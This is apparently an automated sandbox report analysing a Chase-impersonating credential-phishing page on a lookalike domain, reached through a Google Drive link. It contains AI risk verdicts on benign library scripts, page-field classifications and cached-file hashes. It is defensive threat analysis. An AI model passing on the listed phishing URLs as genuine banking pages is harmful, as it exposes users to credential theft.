URL: https://www.gstatic.com/_/apps-fileview/_/js/k=app... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a utility function for displaying announcements or notifications on a web page. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or redirects to malicious domains. The code is licensed under the MIT license and seems to be part of a legitimate Google project. While it uses some legacy APIs like `XDomainRequest`, the overall behavior is benign and likely intended for legitimate purposes like accessibility features or user notifications. Therefore, this script is assessed as low risk." }
try{ C("IiC5yd"); /* Copyright 2020 Google Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ var jR=function(a,b){var c=dVc;eVc\|\|(eVc=new fVc);c(eVc,a,b)},fVc=function(){this.C=new Map},eVc,dVc=function(a,b,c){function d(){l.textContent="";k.removeEventListener("click",d)}var e,f=(e=c==null?void 0:c.priority)!=null?e:"polite",g,k=(g=c==null?void 0:c.ownerDocument)!=null?g:document,l=gVc(a,f,k);l.textContent="";setTimeout(function(){l.textContent=b;k.addEventListener("click",d)},1)},gVc=function(a,b,c){var d=a.C.get(c);d\|\|(d=new Map,a.C.set(c,d));if((a=d.get(b))&&c.body.contains(a))return a; a=c.createElement("div");a.style.position="absolute";a.style.top="-9999px";a.style.left="-9999px";a.style.height="1px";a.style.overflow="hidden";a.setAttribute("aria-atomic","true");a.setAttribute("aria-live",b);a.setAttribute("data-mdc-dom-announce","true");c.body.appendChild(a);d.set(b,a);return a};var kR=function(){Fw.call(this)};P(kR,Hw);kR.sa=Hw.sa;Iw(CA,kR); D(); }catch(e){_DumpException(e)} try{ var iS=function(a){return"click:h5M12e"+(a?"(preventDefault=true)":"")+"; clickmod:h5M12e;pointerdown:FEiYhc;pointerup:mF5Elf;pointerenter:EX0mI;pointerleave:vpvbp;pointercancel:xyn4sd;contextmenu:xexox;"},s_c=function(a,b){return F("<span"+zy(r_c(void 0,"notranslate"+(b?" "+b:"")))+">"+bf(a)+"</span>")},r_c=function(a,b,c){return oy('class="'+G(b!=null?b:"")+'"'+(a?' role="button" tabindex="0"':' aria-hidden="true"')+(T(c)?zy(Ze(c)):""))};var jS=function(a){return F('<span class="'+G(Dy(Gy("OiePBf-zPjgPe",a)))+'"></span>')};var kS=function(a,b,c,d){var e=F;a="<span"+(d?' class="'+G(d)+'"':"")+' data-is-tooltip-wrapper="true">'+bf(a);d={nn:c,Zf:b};b=d.Zf;c=d.nn;d=d.Of;b=F('<div class="'+G("ne2Ple-oshW8e-V67aGc")+'" id="'+G(b)+'" role="tooltip" aria-hidden="true"'+(d!=null?" ssk='"+G(qy("MSJnFd")+d)+"'":"")+">"+bf(c)+"</div>");return e(a+b+"</span>")},u_c=function(a,b,c,d,e,f,g,k,l,m,q){q=q===void 0?!1:q;b='jscontroller="'+G(b!=null?b:t_c.id)+'"';b+=' jsaction="'+G((q?"pointerenter:EX0mI; pointerleave:vpvbp;":iS())+"focus:h06R8; blur:zjh6rb; mlnRJb:fLiPzd;"+ (d!=null?d:""))+'"'+(c?' data-tooltip-id="'+G(a)+'"':' aria-describedby="'+G(a)+'"')+(e?' data-tooltip-x-position="'+G(e)+'"':"")+(f?' data-tooltip-y-position="'+G(f)+'"':"")+(g!=null?' data-tooltip-show-delay-ms="'+G(g)+'"':"")+(k!=null?' data-tooltip-hide-delay-ms="'+G(k)+'"':"")+(l?' data-tooltip-anchor-boundary-type="'+G(l)+'"':"")+(m?' data-tooltip-classes="'+G(m)+'"':"");return oy(b)},t_c={id:"LxQ0Q"}; }catch(e){_DumpException(e)} try{ var lS=function(a,b){return F('<span class="'+G(Dy(Gy("RBHQF-ksKsZd",b)))+'" jscontroller="'+G(v_c.id)+'"'+((a\|\|null)!=null?' jsname="'+G(a\|\|null)+'"':"")+" soy-skip ssk='"+qy("RWVI5c")+"'></span>")},v_c={id:"LBaJxb"}; }catch(e){_DumpException(e)} try{ var eJc=function(a,b){var c=0;ra(a,function(d,e){b.call(void 0,d,e,a)&&wa(a,e)&&c++});return c},fJc=function(){var a=Lga(Qd,Rga);if(a===Pd)throw Error("$a");return a},gJc=function(){var a=Xga();if(!a)throw Error("ab");return a},
URL: https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?ts=67645d30 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "VERIFY", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.gstatic.com/_/apps-fileview/_/js/k=app... Model: Joe Sandbox AI	```json { "risk_score": 3, "reasoning": "The script contains obfuscated code and uses aggressive DOM manipulation techniques. However, there are no high-risk indicators such as dynamic code execution or data exfiltration. The script appears to be complex but lacks clear malicious intent." }
try{ C("MpJwZc"); D(); }catch(e){_DumpException(e)} try{ C("UUJqVe"); D(); }catch(e){_DumpException(e)} try{ bg(AA); }catch(e){_DumpException(e)} try{ C("s39S4"); var AFc=function(a,b,c){c?a.setAttribute(b,c):a.removeAttribute(b);a.hasAttribute("c-wiz")\|\|(b=a,a.tagName==="C-DATA"&&(b=a.parentElement),I1a(b,!1))},BFc=function(a,b,c){var d=a.getAttribute(b)\|\|"";c=String(c\|\|"");c=c.split(";").filter(function(e){return e});d=d.split(";").filter(function(e){return yh(e,":.CLIENT")});Ba(c,d);(c=c.join(";"))?a.setAttribute(b,c):a.removeAttribute(b);ola(a)},FFc=function(){CFc\|\|(CFc=!0,DFc=Aja,Aja=function(a){DFc&&DFc(a);for(var b=0;b<a.length;b++){var c=a[b];Mf(c)&& cg(Vf(c)).GWa(c)}},EFc=Bja,Bja=function(a){EFc&&EFc(a);for(var b=0;b<a.length;b++){var c=a[b];Mf(c)&&cg(Vf(c)).HWa(c)}})},cP=function(a,b){a.H=b},GFc=function(a){if(a=a\|\|document.body){var b=document.head.querySelector("style[data-late-css]");a=n(Array.from(a.querySelectorAll("style[data-server-css-collection], link[data-server-css-collection]")));for(var c=a.next(),d={};!c.done;d={XB:void 0},c=a.next())d.XB=c.value,d.XB.tagName==="STYLE"?b?document.head.insertBefore(d.XB,b):document.head.appendChild(d.XB): d.XB.hasAttribute("late-css-moved")\|\|(c=d.XB.cloneNode(!0),c.onload=function(e){return function(){return si(e.XB)}}(d),d.XB.setAttribute("late-css-moved","true"),b?document.head.insertBefore(c,b):document.head.appendChild(c))}};var CFc=!1,DFc,EFc;var HFc=Ly,dP=function(a){Fw.call(this);this.F=a.appContext.soy;this.D=a.appContext.config;this.tc=null;my.jsaction=BFc;my.jsdata=AFc;FFc()};P(dP,Hw);dP.sa=function(){return{appContext:{soy:HF,config:dwb}}};dP.prototype.lz=function(a){this.tc=a};dP.prototype.Vh=function(){return this.tc};dP.prototype.C=function(a,b){return a(b,mD(this.D))};dP.prototype.dh=function(a,b,c){IFc(this,!0,a,b,!0,c)}; var IFc=function(a,b,c,d,e,f){var g=new HFc;g.lz(a.tc);var k=Vf(c).documentElement.contains(c);GFc(document.body);gka(c,function(){a.tc&&e?a.tc.D(c,function(){d(g,f,mD(a.D))}):d(g,f,mD(a.D))},f);b?JFc(a,c,k):a.tc&&a.tc.C()};dP.prototype.dUa=function(a,b,c){IFc(this,!1,a,b,!1,c);this.F.Eg().dispatchEvent(new A1a(z1a,a,af))}; dP.prototype.Ry=function(a,b,c){var d=this,e=new HFc;e.lz(this.tc);var f=Vf(a).documentElement.contains(a);f&&a instanceof Element&&GFc(a);eka(a,function(){return b(e,c,mD(d.D))},c);JFc(this,a,f)};var JFc=function(a,b,c){a.F.Eg().dispatchEvent(new A1a(c?z1a:x1a,b,af));a.F.Eg().dispatchEvent(new Zw(y1a,b))};dP.prototype.qc=function(a,b){var c=document.createElement("div");this.Ry(c,a,b);a=c.firstElementChild;JFc(this,a,!1);return a};Iw(FA,dP); D(); }catch(e){_DumpException(e)} try{ var OJc=function(a,b){a.J=b},PJc=function(a){a.J\|\|(a.J=cO(a,rub));return a.J};var QJc=1;(function(){for(var a=["ms","moz","webkit","o"],b=0;b<a.length&&!window.requestAnimationFrame;++b)window.requestAnimationFrame=window[a[b]+"RequestAnimationFrame"],window.cancelAnimationFrame=window[a[b]+"CancelAnimationFrame"]\|\|window[a[b]+"CancelRequestAnimationFrame"];if(!window.requestAnimationFrame){var c=0;window.requestAnimationFrame=function(d){var e=(new Date).getTime(),f=Math.max(0,16-(e-c));c=e+f;return window.setTimeout(function(){d(e+f)},f)};window.cancelAnimationFrame\|\|(window.cancelAnimationFrame= function(d){clearTimeout(d)})}})();var RJc=function(){},SJc=[[],[]],TJc=0,UJc=new Set,VJc=null,WJc=0,XJc=0,YJc=0,DP=0,ZJc=0,$Jc=function(a,b){this.F=this.D=void 0;this.H=!1;this.C=window;this.J=b;this.L=a};h=$Jc.prototype;h.measure=function(a){this.D=a;return this};h.hc=function(a){this.F=a;return this};h.qd=function(){this.H=!0;return this};h.window=function(a){this.C=a;return this};h.build=function(){return aKc({measure:this.D,hc:this.F,P2a:this.L,window:this.C,qd:this.H},this.J)}; var EP=function(a,b){return new $Jc(b?b:RJc,a)},aKc=function(a,b){var c=ZJc++,d=Math.max(a.measure?a.measure.length:0,a.hc?a.hc.length:0),e={id:c,Wqa:a.measure,jra:a.hc,context:b,args:[]},f=e;return function(){var g=f.xc!==0;g&&(f=Object.assign({xc:0},e));b\|\|(f.context=
URL: https://online.access.secure001.chase-business.com... Model: Joe Sandbox AI	```json { "risk_score": 1, "reasoning": "The provided JavaScript snippet is a part of the jQuery library, which is a widely used and reputable library for DOM manipulation and event handling. The code does not exhibit any high-risk behaviors such as dynamic code execution, data exfiltration, or redirects to malicious domains. It primarily consists of utility functions and object manipulations typical of a library. Therefore, it is considered low risk." }
/! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t\|\|r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?l[c.call(e)]\|\|"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]\|\|{},s++),"object"==typeof a\|\|g(a)\|\|(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)\|\|(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e\|\|"[object Object]"!==c.call(e))&&(!(t=i(e))\|\|"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n\|\|0===t\|\|"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;r
URL: https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?ts=67645d30 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "VERIFY", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?ts=67645d30 Model: Joe Sandbox AI	{ "brands": [ "Chase" ] }
	{ "brands": [ "Chase" ] }
URL: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otm... Model: Joe Sandbox AI	```json { "risk_score": 1, "reasoning": "The script primarily involves DOM manipulation and class management without any high-risk behaviors such as dynamic code execution or data exfiltration. It does not interact with external domains or use obfuscated code, indicating a low risk." }
this.gbar_=this.gbar_\|\|{};(function(_){var window=this; try{ _.Ad=typeof AsyncContext!=="undefined"&&typeof AsyncContext.Snapshot==="function"?a=>a&&AsyncContext.Snapshot.wrap(a):a=>a; }catch(e){_._DumpException(e)} try{ _.te=function(a){return _.Hb(a)&&a.nodeType==1};_.ue=function(a,b){if("textContent"in a)a.textContent=b;else if(a.nodeType==3)a.data=String(b);else if(a.firstChild&&a.firstChild.nodeType==3){for(;a.lastChild!=a.firstChild;)a.removeChild(a.lastChild);a.firstChild.data=String(b)}else _.qe(a),a.appendChild(_.ge(a).createTextNode(String(b)))};var ve;_.we=function(a,b,c){Array.isArray(c)&&(c=c.join(" "));const d="aria-"+b;c===""\|\|c==void 0?(ve\|\|(ve={atomic:!1,autocomplete:"none",dropeffect:"none",haspopup:!1,live:"off",multiline:!1,multiselectable:!1,orientation:"vertical",readonly:!1,relevant:"additions text",required:!1,sort:"none",busy:!1,disabled:!1,hidden:!1,invalid:"false"}),c=ve,b in c?a.setAttribute(d,c[b]):a.removeAttribute(d)):a.setAttribute(d,c)};var Ae;_.ze=function(a,b,c,d,e,f){if(_.ic&&e)return _.xe(a);if(e&&!d)return!1;if(!_.gc){typeof b==="number"&&(b=_.ye(b));const g=b==17\|\|b==18\|\|_.ic&&b==91;if((!c\|\|_.ic)&&g\|\|_.ic&&b==16&&(d\|\|f))return!1}if(_.hc&&d&&c)switch(a){case 220:case 219:case 221:case 192:case 186:case 189:case 187:case 188:case 190:case 191:case 192:case 222:return!1}switch(a){case 13:return _.gc?f\|\|e?!1:!(c&&d):!0;case 27:return!_.hc&&!_.gc}return _.gc&&(d\|\|e\|\|f)?!1:_.xe(a)}; _.xe=function(a){if(a>=48&&a<=57\|\|a>=96&&a<=106\|\|a>=65&&a<=90\|\|_.hc&&a==0)return!0;switch(a){case 32:case 43:case 63:case 64:case 107:case 109:case 110:case 111:case 186:case 59:case 189:case 187:case 61:case 188:case 190:case 191:case 192:case 222:case 219:case 220:case 221:case 163:case 58:return!0;case 173:case 171:return _.gc;default:return!1}};_.ye=function(a){if(_.gc)a=Ae(a);else if(_.ic&&_.hc)switch(a){case 93:a=91}return a}; Ae=function(a){switch(a){case 61:return 187;case 59:return 186;case 173:return 189;case 224:return 91;case 0:return 224;default:return a}}; }catch(e){_._DumpException(e)} try{ var Be,Ce,De;Be=function(a){return typeof a.className=="string"?a.className:a.getAttribute&&a.getAttribute("class")\|\|""};Ce=function(a){return a.classList?a.classList:Be(a).match(/\S+/g)\|\|[]};De=function(a,b){typeof a.className=="string"?a.className=b:a.setAttribute&&a.setAttribute("class",b)};_.V=function(a,b){return a.classList?a.classList.contains(b):_.va(Ce(a),b)};_.Ee=function(a,b){if(a.classList)a.classList.add(b);else if(!_.V(a,b)){const c=Be(a);De(a,c+(c.length>0?" "+b:b))}}; _.Fe=function(a,b){if(a.classList)Array.prototype.forEach.call(b,function(d){_.Ee(a,d)});else{var c={};Array.prototype.forEach.call(Ce(a),function(d){c[d]=!0});Array.prototype.forEach.call(b,function(d){c[d]=!0});b="";for(const d in c)b+=b.length>0?" "+d:d;De(a,b)}};_.Ge=function(a,b){a.classList?a.classList.remove(b):_.V(a,b)&&De(a,Array.prototype.filter.call(Ce(a),function(c){return c!=b}).join(" "))}; _.He=function(a,b){a.classList?Array.prototype.forEach.call(b,function(c){_.Ge(a,c)}):De(a,Array.prototype.filter.call(Ce(a),function(c){return!_.va(b,c)}).join(" "))}; }catch(e){_._DumpException(e)} try{ _.Ie=class extends _.Q{constructor(a){super(a)}}; }catch(e){_._DumpException(e)} try{ var Ke;_.Je=function(a,b){b=_.ua(a,b);let c;(c=b>=0)&&Array.prototype.splice.call(a,b,1);return c};Ke=function(a,b){for(const c in a)if(b.call(void 0,a[c],c,a))return!0;return!1};_.Me=function(a,b){this.type="function"==typeof _.Le&&a instanceof _.Le?String(a):a;this.currentTarget=this.target=b;this.defaultPrevented=this.i=!1};_.Me.prototype.stopPropagation=function(){this.i=!0};_.Me.prototype.preventDefault=function(){this.defaultPrevented=!0}; _.Ne=function(a,b){_.Me.call(this,a?a.type:"");this.relatedTarget=this.currentTarget=this.target=null;this.button=this.screenY=this.screenX=this.clientY=this.clientX=this.offsetY=this.offsetX=0;this.key="";this.charCode=this.keyCode=0;this.metaKey=this.shiftKey=this.altKey=this.ctrlKey=!1;this.state=null;this.poi
URL: https://online.access.secure001.chase-business.com/secure/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Checking your browser before accessing this website", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://drive.google.com/file/d/1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO/view?ts=67645d30 Model: Joe Sandbox AI	{ "brands": [ "Chase" ] }
	{ "brands": [ "Chase" ] }
URL: https://online.access.secure001.chase-business.com/secure/ Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Username", "Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Model: Joe Sandbox AI	{ "brands": [ "Chase" ] }
	{ "brands": [ "Chase" ] }
URL: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Model: Joe Sandbox AI	```json{ "legit_domain": "chase.com", "classification": "wellknown", "reasons": [ "The brand 'Chase' is a well-known financial institution.", "The legitimate domain for Chase is 'chase.com'.", "The URL 'online.access.secure001.chase-business.com' contains additional subdomains and hyphens, which are common indicators of phishing.", "The presence of 'secure001' and 'business' in the URL is suspicious and not typical for Chase's legitimate URLs.", "Financial institutions like Chase are common targets for phishing attacks, especially with login fields like 'Username' and 'Password'." ], "riskscore": 9} Google indexed: False
URL: online.access.secure001.chase-business.com Brands: Chase Input Fields: Username, Password

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

Chrome Cache Entry: 100

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 25108, version 1.0
Category:	downloaded
Size (bytes):	25108
Entropy (8bit):	7.979318067154575
Encrypted:	false
SSDEEP:	384:J8Y/vw3eQlKmL0PM1OE+g+lhEWi4KZ3W+WgD2pwXC+CFt7fGPrKMtI:weF9tgyhEnRmo2QC+Cn+zKMtI
MD5:	33B58DCBC5AA1AE12FA76473C21FFE44
SHA1:	82A3345756101D0F95FE1DAB285E9F9C4E79871F
SHA-256:	D2113460C69DE50EDC6206A20DEEC3C2BC2733929F53817F1FACA74AB34C33E3
SHA-512:	050F1AC9579EEBC238FE01D5EEB575264759020B7D2C38CB4E7B7AF1D80A07F7A3E9AEEC69AC3622B3CA50021DC750973D696653953F8268932BA0B3423157AA
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/fonts/opensans-semibold.woff
Preview:	wOFF......b.................................FFTM............l/.GDEF.............'..GPOS............,..XGSUB.............^..OS/2.......^...`..ncmap...l.........@X.cvt .......:...:....fpgm...0.......eS./.gasp................glyf......M....H.i..head..X....3...6.:.hhea..Y........$.y.'hmtx..Y(...:......R#loca..[d........Jzhmaxp..]0... ... ....name..]P...$....d...post.._t........y..prep..ad........m.pwebf..b...........UT.........hU......L.}.....z..x.c`d``..b1 fb`..@...1.........x..KlTU...3.a.......26....I..j.Z..i.......BBcHL.....0!.+9<j.L..Y.R..2LW,..im...IW..!..s.).H..\|...9......=s..T.n}.HK..z...zw....;U../wk."..X...7..;zw+.."..c\.xo.].t+t84...w..p....s....}0..)r/r/....-t8.L.6......wm..X..'c{.I..oD.....4........)Y.....IOx::O.w.....T..G.zUM..f=..b^....:..u.fH.....q....8...d. ..A...{......`...9..y...0..`....L...\.kp...M.?.u...)..A=....7....KB3\|.......{8....{.N.I...&.S.!....%f%.p....g.g.\|Mx%a!.%.%.%.%.%.%W)..bO..,<....D..@4G4........... ...P....i...`.R........u.

Chrome Cache Entry: 101

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (25592), with no line terminators
Category:	downloaded
Size (bytes):	25592
Entropy (8bit):	4.761536686483135
Encrypted:	false
SSDEEP:	384:2ZLww6Lp7yFuRqlid41UQ6VZOOw43ygAjkHFcYHuG4Ar:LQHid496jVgYHuGl
MD5:	680ADBA36B747D2F9B6CEBA145D7F10A
SHA1:	7A5807B8974D187750D28077EB29C44485F893B7
SHA-256:	5D34B2663293A39624429B1163506BF59E4AFDE8FAEB3F0F9A7736F56BBEFC8B
SHA-512:	535B9CDF8B6BFF6ED5CA41C2689B1B33034F831707F9E6C8EF7E42F876C26E2C78ACD5915B4FCF4FE34C3304DEB18ED1757BAA752C811CBB90CE97BA1D8717D2
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/css/mds-chase-icons.css
Preview:	@font-face{font-family:mds-chase-icons;src:url(fonts/mds-chase-icons.eot);src:url(fonts/mds-chase-icons.eot#iefix) format('embedded-opentype'),url(fonts/mds-chase-icons.woff2) format("woff2"),url(fonts/mds-chase-icons.woff) format("woff"),url(fonts/mds-chase-icons.ttf) format('truetype'),url(fonts/mds-chase-icons.svg) format('svg')}.mds-chase-icons:before{font-family:mds-chase-icons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;font-style:normal;font-variant:normal;font-weight:400;text-decoration:none;text-transform:none}.mds-chase-icons[class$="_md"]:before{font-size:48px}.ico_accessibility:before{content:"\E25E"}.ico_ach_transfer_md:before{content:"\E0F0"}.ico_add:before{content:"\E108"}.ico_add_circle:before{content:"\E000"}.ico_airballoon:before{content:"\E155"}.ico_alert:before{content:"\E1EB"}.ico_alert_circle:before{content:"\E001"}.ico_alert_filled:before{content:"\E003"}.ico_alert_filled_md:before{content:"\E002"}.ico_alert_outlined:before{content:"\E005

Chrome Cache Entry: 102

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2410)
Category:	downloaded
Size (bytes):	218287
Entropy (8bit):	5.5229838275997345
Encrypted:	false
SSDEEP:	6144:kVD30WZjJM0PuJQ+ApsOOFZNnv+lqOQMmsWrBQoSpFMgDu4HTNhYAVQIfUEQHNvZ:kVD3XZjJM0Puq+ApsOOFZNnv+lqOQMmJ
MD5:	F8C823C13B80A1921201903D66702912
SHA1:	67EDA9BC295AE9779F9FCDAF5500459E5C9F186E
SHA-256:	7C28EE8D4500E460968A2321FFBF39EF3F3850E4643B14F30D8304CDC6142E9F
SHA-512:	7B3606161F56E5D73C0CA5FAF29CD9C3E459290898F1FB42373C03EC4D9F2EF2D3AC1A2931D8EAF9A84EBF26265757ACAD28CF2C4BFA314131FCCFF2431066E3
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otmEBJ358uU.2019.O/rt=j/m=qabr,q_dnp,qcwid,qapid,qads,q_dg/exm=qaaw,qadd,qaid,qein,qhaw,qhba,qhbr,qhch,qhga,qhid,qhin/d=1/ed=1/rs=AA2YrTu0yU9RTMfNNC-LVUmaaNKwIO136g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Ad=typeof AsyncContext!=="undefined"&&typeof AsyncContext.Snapshot==="function"?a=>a&&AsyncContext.Snapshot.wrap(a):a=>a;.}catch(e){_._DumpException(e)}.try{._.te=function(a){return _.Hb(a)&&a.nodeType==1};_.ue=function(a,b){if("textContent"in a)a.textContent=b;else if(a.nodeType==3)a.data=String(b);else if(a.firstChild&&a.firstChild.nodeType==3){for(;a.lastChild!=a.firstChild;)a.removeChild(a.lastChild);a.firstChild.data=String(b)}else _.qe(a),a.appendChild(_.ge(a).createTextNode(String(b)))};var ve;_.we=function(a,b,c){Array.isArray(c)&&(c=c.join(" "));const d="aria-"+b;c===""\|\|c==void 0?(ve\|\|(ve={atomic:!1,autocomplete:"none",dropeffect:"none",haspopup:!1,live:"off",multiline:!1,multiselectable:!1,orientation:"vertical",readonly:!1,relevant:"additions text",required:!1,sort:"none",busy:!1,disabled:!1,hidden:!1,invalid:"false"}),c=ve,b in c?a.setAttribute(d,c[b]):a.removeAttribute(d)):a.setAttribute(d,c)};var Ae;_.ze=func

Chrome Cache Entry: 103

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 104

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2258)
Category:	downloaded
Size (bytes):	103720
Entropy (8bit):	5.679847648017333
Encrypted:	false
